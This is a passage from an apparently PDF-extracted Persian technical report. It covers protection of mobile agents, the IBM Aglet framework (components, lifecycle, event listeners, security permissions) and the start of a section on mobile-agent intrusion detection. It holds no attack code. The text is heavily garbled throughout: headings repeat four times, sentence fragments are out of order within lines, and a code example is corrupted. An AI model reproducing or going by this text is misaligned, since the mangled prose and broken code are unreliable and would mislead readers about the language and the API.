 حفظ خط سير به صورت انحصاريحفظ خط سير به صورت انحصاريحفظ خط سير به صورت انحصاريحفظ خط سير به صورت انحصاري •

است، به اين ترتيب كه  ت، استفاده از آن در كارهاي تيمي يكي از كاربردهاي نگه داشتن سابقه تاريخي حرك

شود و در  هاي ديگر، آن عامل از مسير حركت عامل اول با خبر مي با در اختيار قرار دادن آن براي عامل

وقتي كه عاملي از يك ميزبان به ميزبان . تواند اين كار را انجام دهد صورت از بين رفتن آن، عامل جديد مي

رود اطلاعات ميزبان قبل، ميزبان فعلي و ميزبان بعد را از طريق يك كانال امن براي همكار خود  ديگر مي

 .شود كه اطمينان از حركت عامل و انجام كارهاي آن به ترتيب بررسي شود اين كار باعث مي. فرستد مي

  اجرا اجرا اجرا اجرا١١١١دنبال كردندنبال كردندنبال كردندنبال كردن •

اين كار با دنبال كردن رفتار عامل .  استدنبال كردن اجرا روشي براي تشخيص تغييرات ناخواسته در كد عامل

هايي از عامل بگيرد و آنها  logلازمه انجام اين كار اين است كه هر ميزبان بتواند . شود در هنگام اجرا انجام مي

ها و تعداد آنها از جمله اين موارد  logالبته اين روش داراي مشكلاتي است كه بزرگ شدن سايز . را بررسي كند

  .است

  محاسبات با استفاده از توابع رمزنگاري محاسبات با استفاده از توابع رمزنگاري محاسبات با استفاده از توابع رمزنگاري محاسبات با استفاده از توابع رمزنگاريانجامانجامانجامانجام •

لازمه اجراي اين روش اين . هدف از انجام اين كار اين است كه عامل با اطمينان بتواند به اجراي خود بپردازد

يك مثال . اند را بدون رمزگشايي اجرا كنند است كه ميزبان بتواند توابعي را كه به صورت رمز درآورده شده

 را محاسبه f(x) را  و قصد دارد كه x متغير B را دارد و f تابع Aبراي مثال . دهد ن مياين روش را بهتر نشا

 برنامه Aسپس . كند  رمز ميE(f) را به صورت A ،fبراي همين منظور .  مطلع باشدf از Bخواهد كه   نميA. كند

. فرستد  ميBريق عامل براي  را از طA ،P(E(f))سپس . كند  را توليد ميE(f) كه P(E(f))نويسد مثل  ديگري مي

B بعد از دريافت عامل P(E(f)) را بر روي xكند و نتيجه را براي   اعمال ميAگرداند  برمي .A بعد از دريافت 

 .تواند جواب را از حالت رمز خارج كند و به آن دسترسي پيدا كند نتيجه مي
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 Agletشناخت  -۳-۴
باشد، لازم است در   ميAglet در اين پروژه بكار گرفته شده است، سيستم با توجه به آنكه سيستم مبتني بر عاملي كه 

 .[11]پرداخته شود اين بخش به معرفي آن 

  Agletمدل  -۳-۴-۱

مورد استفاده قرار گيرد، در حاليكه تا حد امكان از معايب آن Java ان ب سعي شده است مزاياي زAgletدر طراحي 

 وظيفه كنترل آنرا بر عهده دارد و حساس threadمتحرك است كه يك ، عامل متحرك يك شيء Agletدر مدل . بكاهد

  .گيرد در اين مدل تبادل اطلاعات از طريق ارسال پيغام صورت مي. باشد به رويدادها مي

  Aglet دهنده ي تشكيلهابخش -١-١-٤-٣

، Aglet ،Proxyها عبارتند از  اين بخش.  چندين بخش مجرد مورد استفاده قرار گرفته استAgletدر ساختار 

Context و Identifier.  

• Aglet 
ء توانايي رفتن به  اين شي. سازي شده است  پيادهJava يك شيء متحرك است كه به زبان Agletيك 

 threadعلت اينكه به همچنين اين شيء . باشد متحرك باشند را دارا مي هايي را كه پذيراي عامل دستگاه

  .مختار عمل كندبه صورت خود تواند ار دارد مياي براي كنترل و اجراي خود در اختي جداگانه
• Proxy 

عمل كرده و از  Agletاي محافظ براي  عنوان لايهه  بProxy.  استAglet جلوه ظاهري يك Proxyيك 

 نشان داده شده ۱۸-۳در شكل Aglet  و Proxyرابطه . كند  آن جلوگيري ميpublicدسترسي مستقيم به توابع 

  . است

  
  Proxy و  و  و  و Aglet رابطه بين  رابطه بين  رابطه بين  رابطه بين ----۱۸۱۸۱۸۱۸----۳۳۳۳شكل شكل شكل شكل 

بدين معني كه .  از ديد كاربر شفاف باشدAgletكند كه محل   اين امكان را فراهم ميProxy ،علاوه بر اين

Proxy، محل واقعي Agletتوان نتيجه گرفت كه  از اين گفته مي. كند  را مخفي ميProxy و Agletتوانند در   مي

 .گيرد  محلي صورت Proxyهاي راه دور از طريق  Agletي به اما دسترس. يك محل نباشند

• Context 
Context محل فعاليت Agletاست  . Context  اين . تر معرفي شد  كه پيشاستبسيار نزديك به مكان از لحاظ مفهوم

 ميزبان در هر. كند هاي فعال در يك محيط اجرايي را فراهم مي ايستگاهي است كه امكان كنترل و مديريت عامل  شيء
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ها توسط  Context.  باشدContextتواند پذيراي چندين  تواند چندين موتور پردازشگر داشته باشد و هر موتور مي شبكه مي

تر نشان داده شده   واضحContext مفهوم ۱۹-۳در شكل . شوند آدرس موتور پردازشگر و نام خود، مشخص و نامگذاري مي

  .است

  
 Context رابطه بين ميزبان، موتور و  رابطه بين ميزبان، موتور و  رابطه بين ميزبان، موتور و  رابطه بين ميزبان، موتور و ----۱۱۱۱۹۹۹۹----۳۳۳۳شكل شكل شكل شكل 

• Identifier 
ست كه در طول حيات يك  ا شماره منحصربفردينشانهاين . شود  تخصيص داده مينشانه يك Agletهر ه ب

Agletيابد  به آن اختصاص مي.  

ي يك درحالت كلي زندگ. يك عامل استشده براي شود بر اساس رفتار تعريف  ميانجام  Agletرفتاري كه توسط 

Agletشوند، و يا آنكه از يك  د ميلعبارتي متوه شوند يعني ب  آغاز ميابتدايا آنكه از : شود  به دو صورت آغاز ميAglet 

نوع فعال به اين صورت است كه . فعال و غيرفعال: ها دو نوع خاصيت جابجايي دارند Aglet. شوند  ميبرداري يموجود كپ

 توسط يك ميزبان درخواست Agletدر نوع غيرفعال، . كند ميزبان ديگري ارسال مي خود را از يك ميزبان به Agletيك 

  .كند شود و سپس خود را به روي آن ميزبان منتقل مي مي

ها  Agletبراي كاهش ميزان مصرف منابع، . گيرند را در اختيار خود ميسيستم شوند منابع  ها فعال مي Agletوقتي كه 

نهايتاً اينكه . الت معلق بروند و منابع را آزاد كنند و سپس دوباره به حالت فعال بازگردندحصورت موقت به توانند به  مي

  .توانند با يكديگر به تبادل اطلاعات بپردازند چند عامل مي

اند، حداقل نيازهايي هستند كه براي ساخته شدن و مديريت يك سيستم   نشان داده شده۲۰-۳اين موارد كه در شكل 

  .هاي متحرك وجود دارد ني بر عاملتوزيع شده مبت
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  Agletرفتارهاي متفاوت تعريف شده براي يك رفتارهاي متفاوت تعريف شده براي يك رفتارهاي متفاوت تعريف شده براي يك رفتارهاي متفاوت تعريف شده براي يك ----٢٠٢٠٢٠٢٠----٣٣٣٣شكل شكل شكل شكل 

  :ترتيب زير خلاصه كرده توان ب  را ميAgletهاي موجود در  APIبا توجه به اين توضيحات 

 ١١١١ساخته شدنساخته شدنساخته شدنساخته شدن •

يص  جديد يك شناسه تخصAgletبه . گيرد  صورت ميContext در داخل يك Agletعمل ساخته شدن يك 

 .شود  بعد از اتمام مقداردهي اوليه آماده اجرا ميAgletاين . گيرد شود و مقداردهي اوليه صورت مي داده مي

 ٢٢٢٢برداريبرداريبرداريبرداري    كپيكپيكپيكپي •

 Agletتنها تفاوت در اين است كه . شود  موجود كپي ميAglet از يك Agletبرداري يك عامل، يك  در كپي

  .جديد شناسه متفاوتي دارد

 ٣٣٣٣منتقل شدنمنتقل شدنمنتقل شدنمنتقل شدن •

منتقل شده و در مقصد  در ميزبان context حذف و به يك context از يك Aglet، يك Agletل در عمل انتقا

 .كند آنجا دوباره شروع بكار مي

 ٤٤٤٤درخواست انتقال كردندرخواست انتقال كردندرخواست انتقال كردندرخواست انتقال كردن •

 در ميزباني كه context در ميزبان دور حذف و به context از يك Aglet در درخواست انتقال كردن،

 .شود درخواست انتقال كرده، منتقل مي

 ٦٦٦٦ و غيرفعال شدن و غيرفعال شدن و غيرفعال شدن و غيرفعال شدن٥٥٥٥فعالفعالفعالفعال •

  Agletفعال كردن . گرددصورت موقت متوقف ه ب  به اين معني است كه اجراي آنAgletغيرفعال كردن يك 

 .دار كرد قبلي به فعاليت واcontext را دوباره در همان Agletنيز يعني 

                                                        
1 Create 
2 Clone 
3 Dispatch 
4 Retract 
5 Activate 
6 Deactivate 
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 ١١١١از بين بردناز بين بردناز بين بردناز بين بردن •

  .شود  حذف ميcontext از Aglet، اجراي آن متوقف شده و Agletبا از بين بردن يك 

  Agletمدل رويداد  -٢-١-٤-٣

ه با توجه به كدهد  نويس اجازه مي اين مدل به برنامه.  يك برنامه نويسي مبتني بر رويداد استAgletبرنامه نويسي 

در . شوند  شناخته ميlistenerاين سنسورها تحت عنوان . نيازها، سنسورهاي فعالي براي رويدادهاي مورد نظر قرار دهد

 .  نشان داده شده استAgletهاي  listenerع  انوا۲۱-۳شكل 

  
 Agletهاي تعريف شده در هاي تعريف شده در هاي تعريف شده در هاي تعريف شده در Listener    ----۲۱۲۱۲۱۲۱----۳۳۳۳شكل شكل شكل شكل 

  : وجود داردlistenerهمانطور كه در اين شكل مشخص شده است سه دسته 

• Listener د هستنبرداري حساس برداري، كه به رويداد كپي هاي مربوط به كپي.  

• Listener ،كه به جابجا شدن هاي جابجايي Agletندهست ها حساس.  

• Listener  هاي ماندگاري، كه به غيرفعال شدن و سپس فعال شدنAgletند هستها حساس.  

  Agletمدل ارتباطي  -٣-١-٤-٣

هاي توانند پيغام ها ميAgletبا استفاده از اين روش . گيرد ها بر اساس ارسال پيغام صورت ميAgletمدل ارتباطي بين 

  .  مشاهده كرد۲۲-۳توان در شكل  چگونگي اين ارتباط را مي.   و براي يكديگر ارسال كنندمورد نظر را ساخته

  
  Aglet مدل ارتباطي  مدل ارتباطي  مدل ارتباطي  مدل ارتباطي ----۲۲۲۲۲۲۲۲----۳۳۳۳شكل شكل شكل شكل 

ها را يك به يك مورد يعني پيغام. دهد ها را انجام نمي پردازش همزمان پيغامAglet يكفرض  صورت پيشه ب

  .دهد بررسي قرار مي

                                                        
1 Dispose 
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  Aglet آناتومي -۳-۴-۲

  .شوند  ممكن است رخ دهد، بررسي ميAgletتر مواردي كه در چرخه حيات يك  در اين بخش بصورت دقيق

  ساخته شدن -١-٢-٤-٣

يك عامل و يا تولد تواند توسط  اين كار مي.  ساخته شودAgletقبل از انجام هر كاري با عامل متحرك، بايد يك 

مستقل از بستري كه . شود انجام مي context در داخل Agletتولد يك . برداري از يك عامل موجود صورت گيرد كپي

Agletكند   بر روي آن كار مي)Linux، Windows  ديگربستر يا هر (contextهاي لازم كند كه سرويس  تضمين مي

يك .  جديد استAglet و تولد يك Agletها، مشتق شدن از كلاس يكي از اين سرويس.  فراهم باشدAgletبراي اجراي 

Aglet  براي تولد نياز به دسترسي بهcontextاين كار توسط تابع .  فعلي داردgetAgletContext()براي مثال . شود  انجام مي

  :كند  بسازد به اين ترتيب عمل ميHelloAglet جديدي بنام Aglet بخواهد Agletاگر يك 
GetAgletContext().CreateAglet(getCodeBosec, ”HelloAglet”, null); 

 آن كلاس Constructor كه براي توليد هر شيء بايد Javaنويسي  توجه داشت كه بر خلاف مدل برنامهبايد 

 مقداردهي اوليه onCreation در.  جايگزين شده استrun و onCreation اين كار با دستورات Aglet، در فراخوانده شود

Agletد و شو  انجام ميrun باعث فراخوانده شدن threadجراي  مربوطه و اAgletمراحل زماني ۲۳-۳در شكل . گردد  مي 

  . نشان داده شده استAgletساخت يك 

  
        Aglet مراحل ساخته شدن يك  مراحل ساخته شدن يك  مراحل ساخته شدن يك  مراحل ساخته شدن يك ----۲۳۲۳۲۳۲۳----۳۳۳۳شكل شكل شكل شكل 

شود كه اين كار باعث   ساخته ميCreat eAglet ،Aglet مشخص است، با دستور ۲۳-۳همانطور كه در شكل 

 را بصورت بدون Constructor ،Agletشود اين   مي()Aglet يا همان Aglet كلاس Constructorفراخوانده شدن 

  .شود  اجرا ميrun سپس توسط كند و  آنرا مقداردهي ميonCreationدر ادامه دستور . سازد مياوليه مقداردهي 

  برداري  كپي -۳-۴-۲-۲

در . برداري انجام شود تواند از طريق تولد و يا كپي  جديد ميAgletهمانطور كه پيشتر گفته شد، ساخته شدن يك 

اي متفاوت در مقابل شناسه   جديد داراي شناسهAglet. شود  موجود ساخته ميAglet جديد از يك Agletبرداري، يك  كپي

Agletبرداري با دستور  ساخته شدن توسط كپي.  اصلي استCloneاين تابع . شود  انجام ميproxy مربوط به Aglet ساخته 

برداري وجود دارد كه اين امكان را در اختيار   براي عمل كپيlistener، يك Aglet ساختار سيستم در. گرداند شده را برمي

وقتي كه قرار : اين سه حالت عبارتند از. برداري برخورد كند دهد كه در سه حالت با رويداد كپي نويس قرار مي برنامه
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برداري شده مقداردهي اوليه صورت بگيرد   كپي، زماني كه در نمونه)onCloning(برداري انجام شود  است عمل كپي

)onClone ( و نهايتاً بعد از انجام مقداردهي اوليه در مدل كپي)onCloned .( اين روند كار نشان داده شده ۲۴-۳در شكل 

  .است

  
        Agletبرداري يك برداري يك برداري يك برداري يك      مراحل كپي مراحل كپي مراحل كپي مراحل كپي----۲۵۲۵۲۵۲۵----۳۳۳۳شكل شكل شكل شكل 

 جابجايي -۳-۴-۲-۳

دور است و  يك روش ارسال عامل از يك ميزبان محلي به ميزبان راه.  دو روش موجود استAgletبراي جابجايي 

  .باشد دور به ميزبان محلي مي ديگري درخواست كردن از عامل براي انتقال از ميزبان راه

  منتقل شدن - ۱- ۲-۳- ۳-۴

 اين با استفاده از اين دستور عاملي به آدرسي كه به عنوان آرگومان به. شود  انجام ميdispatchاين عمل توسط دستور 

 به عنوان يك رويداد درنظر گرفته شده است و براي Agletعمل منتقل شدن در سيستم . گردد دستور داده شده ارسال مي

اين پروتكل يك . گيرد  صورت ميATP١ها توسط پروتكل ارتباطي  Agletعمل جابجايي .  وجود داردlistenerآن يك 

 حساس به عمل listenerبا استفاده از . كند  عمل ميTCPكل  پروت۴۳۴پروتكل لايه كاربرد است كه بر روي پورت 

   قصد انتقال دارد Agletيك حالت زماني است كه . توان اين رويداد را در دو حالت مورد بررسي قرار داد انتقال مي

)onDispatching (شود  و ديگر زماني كه توسط ميزبان مقابل دريافت مي)onArrival .( سال  مراحل ار۲۶-۳در شكل

  . نشان داده شده استAgletيك 

  
        Agletمنتقل شدن منتقل شدن منتقل شدن منتقل شدن   مراحل انجام عمل مراحل انجام عمل مراحل انجام عمل مراحل انجام عمل----۲۶۲۶۲۶۲۶----۳۳۳۳شكل شكل شكل شكل 

                                                        
1 Agent Transfer Protocol 
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 درخواست انتقال كردن - ۲- ۲-۳- ۳-۴

دور وجود دارد به خود  ممكن است در حالت خاصي يك ميزبان بخواهد كه عاملي را كه بر روي يك ميزبان راه

اي كه در قسمت قبل به آن اشاره شد در اينجا  listener جابجايي است با توجه به اينكه اين عمل نيز يك عمل. منتقل كند

توان در دو حالت  با استفاده از اين دستور مي. گيرد  صورت ميretractAgletانجام اين عمل توسط دستور . نيز كاربرد دارد

و ) onReverting(ر را دارد دو  قصد ترك كردن ميزبان راهAgletاول زماني كه . اين رويداد را مورد بررسي قرار داد

  . مراحل انجام اين كار نشان داده شده است۲۷-۳در شكل ). onArrival(رسد   به ميزبان محلي ميAgletديگر زماني كه 

  
        Aglet روند انجام عمل درخواست انتقال كردن  روند انجام عمل درخواست انتقال كردن  روند انجام عمل درخواست انتقال كردن  روند انجام عمل درخواست انتقال كردن ----۲۷۲۷۲۷۲۷----۳۳۳۳شكل شكل شكل شكل 

 فعال و غيرفعال شدن -۳-۴-۲-۴

 را به صورت موقت به حالت توقف درآورد Agletدهد كه  نويس قرار مي  برنامه اين امكان را در اختيارAgletسيستم 

  ).۲۸-۳شكل (و آن را در ديسك ذخيره كند و سپس آن را دوباره فعال كند 

  
 Aglet فعال و غيرفعال شدن يك  فعال و غيرفعال شدن يك  فعال و غيرفعال شدن يك  فعال و غيرفعال شدن يك ----۲۸۲۸۲۸۲۸----۳۳۳۳شكل شكل شكل شكل 

، Agletبا اين كار .  غيرفعال منتقل شودشود كه به حالت  درخواست ميAgletبراي انجام اين كار در ابتدا از 

contextزماني كه . كند  را به صورت كامل رها نميAgletشود بايد طول آن دوره مشخص   به حالت غيرفعال برده مي

عمل فعال و غيرفعال شدن يكي ديگر از رويدادهايي است كه . شود  انجام ميdeactivateاين عمل توسط دستور . شود
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 دو حالت را listenerبا استفاده از اين .  درنظر گرفته استlistenerبت به آن حساس است و براي آن  نسAgletسيستم 

سازي مجدد  و ديگري پس از عمل فعال) Aglet) onDeactivateيكي قبل از زمان غيرفعال شدن . توان تشخيص داد مي

)onActive .( اين مراحل نشان داده شده است۲۹-۳در شكل .  

  
        Aglet مراحل غيرفعال و فعال شدن  مراحل غيرفعال و فعال شدن  مراحل غيرفعال و فعال شدن  مراحل غيرفعال و فعال شدن ----۲۹۲۹۲۹۲۹----۳۳۳۳شكل شكل شكل شكل 

  از بين رفتن -۳-۴-۲-۵

به همين . دهد  به فعاليت مشغول است، منابع بسياري را به خود تخصيص ميcontext وقتي كه در داخل Agletيك 

در هنگام . ل نكند بعد از اتمام كار خود بايد بتواند منابع در دست را آزاد كند تا سرباري بر سيستم اعماAgletجهت يك 

در ادامه اين . كند  است درخواست نابودي ميAgletهايي كه در اختيار thread، سيستم از تمام Agletاز بين رفتن يك 

بايد . رود  از بين ميcontext و Agletكند و سپس تمام ارتباطات بين   را آزاد ميAglet تمام منابع در اختيار contextكار 

 Javaگونه موارد امكانات خاص  در اين.  بلافاصله آزاد نشودAgletتخصيص داده شده به توجه داشت كه حافظه 

)garbage collector (گيرد وظيفه آزادسازي آن را بر عهده مي .  

اين دستور باعث فراخوانده شدن دستوري ديگر به نام . شود  انجام ميdispose توسط دستور Agletاز بين بردن 

onDisposingروند انجام اين كار نشان داده شده است۳۰-۳ در شكل .شود  مي .  

  
 Aglet روند از بين رفتن يك  روند از بين رفتن يك  روند از بين رفتن يك  روند از بين رفتن يك ----۳۰۳۰۳۰۳۰----۳۳۳۳شكل شكل شكل شكل 

 Agletامنيت در  -۳-۴-۳
در اين بخش .  ايمني آن است هاي متحرك، چگونگي ساختار يكي از مهمترين معيارها در هر سيستم مبتني بر عامل

  .[11]شود  پرداخته ميAgletبه معرفي اين ساختار در سيستم 
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  Agletمدير  -۳-۴-۳-۱

گذاري براي  اولين مطلبي كه در رابطه با امنيت بايد بررسي شود تعيين اين مطلب است كه چه كسي وظيفه سياست

، Agletاين معيارها عبارتند از خود . گذاري سهيم هستند  چندين معيار در اين سياستAgletدر مدل . ها را دارد عامل

  . و دامنه و هويت دامنه كارAglet ،contextكننده ، توليدAgletمالك 
• Aglet        

تواند   ميAgletبراي مثال يك . هاي امنيتي قرار داد توان آن را مسئول ايجاد سياست  ميAgletبا توجه به خودمختاري 

يز از خود شئ  غAgletدر . هاي كاربر خاصي ارتباط برقرار كنند هايي را قرار دهد مبني بر اينكه تنها با عامل سياست

 .گذاري سهيم باشند توانند در اين سياست عامل توليدكننده عامل و مالك آن مي

• Context١١١١ و سرويسگر و سرويسگر و سرويسگر و سرويسگر 

Contextعامل را در مقابل  هاي پايين سيستم سازي لايه ايمن   و سرويسگر وظيفهAglet هاي مختلف را بر عهده

 با contextعلاوه بر اين هر . بع را بايد دارا باشدهاي لازم براي حفاظت منا يك سرويسگر حداقل سياست. دارند

. هاي متفاوتي را اعمال كند تواند با توجه به كاربردهاي مختلف سياست توجه اينكه زمينه اجرايي عامل است مي

هاي شبكه را بدهد اما در  هاي اطلاعاتي و يا پورت  اجازه دسترسي به بانكcontextبراي مثال ممكن است يك 

context در . هاي ديگر اين مجوزها لغو شده باشدcontextهاي   مالك آن و توليدكننده آن در تعيين سياست

 . امنيتي سهيم هستند

 ٢٢٢٢دامنهدامنهدامنهدامنه •

بررسي تعلق يك سرويسگر به دامنه از وظايف مدير يك دامنه . يك دامنه دربرگيرنده تعدادي سرويسگر است

 ديگري ارتباط برقرار كند اول بايد اطمينان لازم را براي مثال اگر يك سرويسگر بخواهد با سرويسگر. است

در اين دامنه .  آيا سرويسگر مقصد مجوز كافي براي عضويت در اين دامنه را دارد و يا ندارد بدست آورد كه

تواند  براي مثال يك مسئول مي. ها به آن دامنه بر عهده مسئول دامنه است Agletوظيفه كنترل و مجوز ورود 

  .شود را محدود كند  براي دسترسي به بانك اطلاعاتي در دامنه ميAgletهايي كه از يك  استتعداد درخو

  مجوزها -۳-۴-۳-۲

 عبارتند از مجوز Agletمجوزهاي . كند  در داخل يك سيستم را تعريف ميAgletمجوز، توانايي لازم براي عملكرد 

. هاي ديگرAglet و استفاده از contextه از سيستم، دسترسي به شبكه، باز كردن پنجره جديد، استفاد دسترسي به فايل

  .شود  ذخيره ميsecurity و در دايركتوري aglets.مجوزهاي دسترسي در داخل يك دايركتوري به نام 

 سيستمسيستمسيستمسيستم    مجوز دسترسي به فايلمجوز دسترسي به فايلمجوز دسترسي به فايلمجوز دسترسي به فايل •

براي . سيستم ميزبان است ها حفاظت شود، كنترل دسترسي به فايل يكي از موارد مهم كه بايد از دسترسي عامل

شيوه دادن مجوز به . سيستم با مجوز كافي از ميزبان گرفته شده باشد اندن و يا نوشتن اطلاعات در داخل فايلخو

Aglet سيستم به ترتيب زير است ها براي دسترسي به فايل:  

                                                        
1 Server 
2 Domain 
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FilePermission “/tmp/*” “read,write” 
FilePermission “c:\public\*” “read” 

 مجوز دسترسي به شبكهمجوز دسترسي به شبكهمجوز دسترسي به شبكهمجوز دسترسي به شبكه •

ها و  در اين مجوز محدوده پورت.  داده شودAgletسيستم، براي دسترسي به شبكه بايد مجوز كافي به  لهمانند فاي

ها براي  Agletشيوه دادن مجوز به . شود ها انجام داد مشخص مي توان بر روي پورت همچنين اعمالي را كه مي

  :دسترسي به شبكه به ترتيب زير است
SocketPermission “www.ibm.com:100-100” “connect” 
SocketPermission “www.ibm.com:100-300” “listen,connect,accept” 

 مجوز بازكردن پنجره جديدمجوز بازكردن پنجره جديدمجوز بازكردن پنجره جديدمجوز بازكردن پنجره جديد •

  .دهد اين مجوز امكان ساختن پنجره جديد را در اختيار عامل قرار مي
AWTPermission “topLevelWindow” 

 Contextمجوز استفاده از مجوز استفاده از مجوز استفاده از مجوز استفاده از  •

توانند شامل ساختن،  اين مجوزها مي.  را بدست بياوردcontextهاي  رويستواند مجوز استفاده از س  ميAgletيك 

  .ها باشد برداري كردن، ارسال و دريافت و فعال و غيرفعال كردن عامل كپي
ContextPermission “examples.HelloAglet” “create” 
ContextPermission “Context” “start,remove” 

 هاي ديگرهاي ديگرهاي ديگرهاي ديگرAgletمجوز استفاده از مجوز استفاده از مجوز استفاده از مجوز استفاده از  •

  .ها را فرابخواندAgletتواند مجوزي را بدست آورد كه به واسطه آن بتواند توابع ساير   ميAgletيك 
AgentPermission “Oshima” “dispose” 
AgentPermission “*” “dispatch” 

  حفاظت -۳-۴-۳-۳

 براي هايي توان مجوز دسترسي به منابع را داد، ممكن است لازم باشد تا سياست  ميAgletهمانطور كه به يك 

 تنها توسط مالك آن از بين Agletاي باشد كه  براي مثال ممكن است سياست به گونه. ها قرار داده شود حفاظت عامل

  :توان به ترتيب زير عمل كرد ها ميAgletبراي حفاظت . رود
AgletProtection “Oshima” “dispose” 
AgletProtection “*” “dispatch” 

هاي حفاظتي وقتي قابل قبول است كه ميزبان به عامل وارد شده اطمينان كامل  سياستبايد توجه داشت استفاده از 

 .داشته باشد
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  هاي متحرک نفوذ توسط عامل هاي تشخيص سيستم -۴
ها معرفي شد که تحت عنوان  ، دو دسته کلي براي اين سيستم۱۹۸۰نفوذ در سال  هاي تشخيصبعد از معرفي سيستم

ها از منابع داخلي سيستم که معمولاً  هاي مبتني بر ميزبان داده در سيستم.  شناخته شدند٢تني بر شبكه و مب١مبتني بر ميزبان

هاي موجود در  متاسفانه بعضي از حملات هستند که تنها از بررسي نشانه. شوند آوري مي باشد جمع عامل مي در سطح سيستم

ها وجود  wormها و يا  telnet chainز حملات توزيع شده مثل توان آنها را پيدا کرد، براي مثال بعضي ا يک سيستم نمي

که از يک ديد بالاتر به  کنند، اما هنگامي گذارند خطري را بيان نمي دارند که نشاني که بر روي يک ميزبان به تنهايي مي

  .[2]شود آن نگاه شود و اطلاعات چندين ميزبان بطور يکجا بررسي گردد، حمله صورت گرفته مشخص مي

آوري  ها جمع  اطلاعات تمام ميزبانpromiscuousهاي مبتني بر شبكه با قرار دادن کارت شبکه در حالت  در سيستم

مشکل ديگري که در اين سيستم . باشد يکي از مشکلاتي که در اين روش مطرح است قابليت گسترش سيستم مي. شود مي

لت اين روش ممکن است نتواند کارايي مناسبي داشته مطرح است کد شده بودن اطلاعات ارسالي است كه در اين حا

  .باشد

تواند مورد استفاده قرار گيرد استفاده از سنسور در هر  شده مي روش ديگري که براي پيدا کردن حملات توزيع

ال و ها در هر ميزبان، به يک نقطه مرکزي ارس آوري داده در اين روش بعد از جمع. باشد آوري داده مي ميزبان براي جمع

 عمل client/serverاين مدل همانند يک مدل . گيرد آوري شده صورت مي در آنجا پردازش بر روي تمام اطلاعات جمع

  :باشد که بعضي از آنها عبارتند از استفاده از اين روش نيز داراي مشکلاتي مي. کند مي

اگر به .  استsingle point of failureباشد که  محل پردازش مرکزي به صورت يک مرکز سيستم مي .۱

 .ايستد هرترتيب اين مرکز مورد حمله قرار گيرد، کل سيستم از عمل باز مي

 .قابليت گسترش ندارد .۲

 . شودrestartبراي انجام اين کار معمولاً لازم است که کل سيستم . پيکربندي دوباره سنسورها مشکل است .۳

  . استAAFIDکند  استفاده ميهايي که از اين روش براي عمل خود  ترين سيستم يکي از رايج

در اين .  است٣نقطه-به-تواند مورد استفاده قرار گيرد روش نقطه شده مي مدل ديگري که براي تشخيص حملات توزيع

نفوذ محلي و يک  هر ميزبان داراي يک سيستم تشخيص. روش عکس حالت قبل، محل مرکزي براي پردازش وجود ندارد

. کند ها را پردازش مي  ورودي و همچنين اطلاعات رسيده از مديران امنيتي ساير ميزبانباشد که اطلاعات مدير امنيتي مي

  .شود بدين ترتيب با همکاري کل مديران امنيتي توانايي تشخيص حملات توزيع شده فراهم مي

. [16 ,8 ,7 ,2]هاي متحرک است روش ديگري که براي تشخيص حملات توزيع شده مفيد است استفاده از عامل

 :باشد که بعضي از آنها عبارتند از نفوذ داراي مزايايي مي هاي تشخيص هاي متحرک در سيستم ستفاده از عاملا

 
 

                                                        
1 Host based 
2 Network based 
3 Peer-to-peer 
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 بالا بردن سرعتبالا بردن سرعتبالا بردن سرعتبالا بردن سرعت •

-clientها به صورت سلسله مراتبي و يا   در مواردي که حجم ترافيک شبکه بالا باشد و تبادل اطلاعات سيستم

serverتنها بخشي از سيستم که در حال حرکت در شبکه است باعث  باشد استفاده از عامل متحرک به عنوان 

  .شود سرعت بخشيدن به کار مي

 اجرا به صورت مستقل و خودمختاراجرا به صورت مستقل و خودمختاراجرا به صورت مستقل و خودمختاراجرا به صورت مستقل و خودمختار •

توانند مستقل از يکديگر به کار  هاي متحرک مي کنند، عامل هاي که از عامل متحرک استفاده مي  در سيستم

  .توانند به کار خود ادامه دهند ها مي اليت بياستد ساير عاملخود ادامه دهند، در نتيجه اگر عاملي به هر دليل از فع

 بستر اجراييبستر اجراييبستر اجراييبستر اجراييمستقل از مستقل از مستقل از مستقل از  •

 که بر روي آن قرار دارد بتواند به کار خود بستريشود که مستقل از  ها به صورتي انجام مي سازي عامل  پياده

  .ادامه دهد

 تغييرات ديناميکيتغييرات ديناميکيتغييرات ديناميکيتغييرات ديناميکي •

هاي   که در مواقع لازم و درحالت اجرا، عاملكند ميفراهم ها اين امکان را   خاصيت متحرک بودن عامل

  . ظر ارسال شوند و تغييراتي در ساختار عملکردي سيستم بدهندنمتحرک به نقاط مورد 

 قابليت گسترشقابليت گسترشقابليت گسترشقابليت گسترش •

کند، قابليت گسترش بسيار مشکل است و  عنوان نقطه مرکزي عمل ميه هايي که يک نقطه ب  در سيستم

اما در . صورت از کار افتادن آن نقطه تمام سيستم از کار بيفتدهمچنين اين امکان وجود دارد که در 

  .  وجود نداردsingle point of failureتحرک مسئله قابليت گسترش و امكان هايي با  سيستم

  :باشند که عبارتند از هاي متحرک با تمام نقاط قوتي که دارند داراي معايبي مي عامل

 امنيتامنيتامنيتامنيت •

با توجه به آنکه عامل . باشد هاي متحرک وجود دارد امنيت آنها مي عامليکي از مواردي که در رابطه با 

تواند يک کد پردازشگر سيستم باشد، اگر کسي بتواند اين کد را به نحوي بدست آورد،  متحرک براي مثال مي

 .عملاٌ به تمام سيستم دسترسي پيدا کرده است

 حجم کدحجم کدحجم کدحجم کد •

شود حجم کد آن زياد  باشد که باعث مي ، به حدي ميدر بعضي موارد عملي که براي عامل تعريف شده است

 . ايجاد کند  تواند ترافيک بالايي شود و در نتيجه انتقال عامل بر روي شبکه مي

 کاراييکاراييکاراييکارايي •

علت امر اين است که .  هستندقابل ترجمهصورت ه شود که ب هايي نوشته مي هاي متحرک معمولاٌ به زبان  عامل

ه شوند و ب هايي که کامپايل مي ها در مقايسه با زبان اين مدل زبان. عمل کنندهاي مختلف  بستربتوانند برروي 

  .گردند کندتر هستند صورت محلي اجرا مي

کنند تشخيص حملات توزيع  هاي متحرک استفاده مي نفوذ که از عامل هاي تشخيص يکي از مشخصات مهم سيستم

  ها در استفاده از عامل. کنند آوري و آناليز مي اطلاعات را جمعها چگونه  آيد که عامل اکنون اين سوال پيش مي. شده است
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تواند غير مفيد باشد و انتقال آنها به يک  ايده اصلي اين است که به جاي حمل تمام اطلاعات که حجم زيادي از آن مي

ت را بازي کنند، توانند نقش جمع کننده اطلاعا هاي متحرک مي عامل. هاي متحرک استفاده شود نقطه مرکزي، از عامل

  .بدون آنکه تمام اطلاعات خام را با خود حمل کنند

 : هاي متحرک استفاده کنند توانند از عامل هاي گوناگوني مي نفوذ به صورت هاي تشخيص سيستم

 عمل عاملعمل عاملعمل عاملعمل عامل •

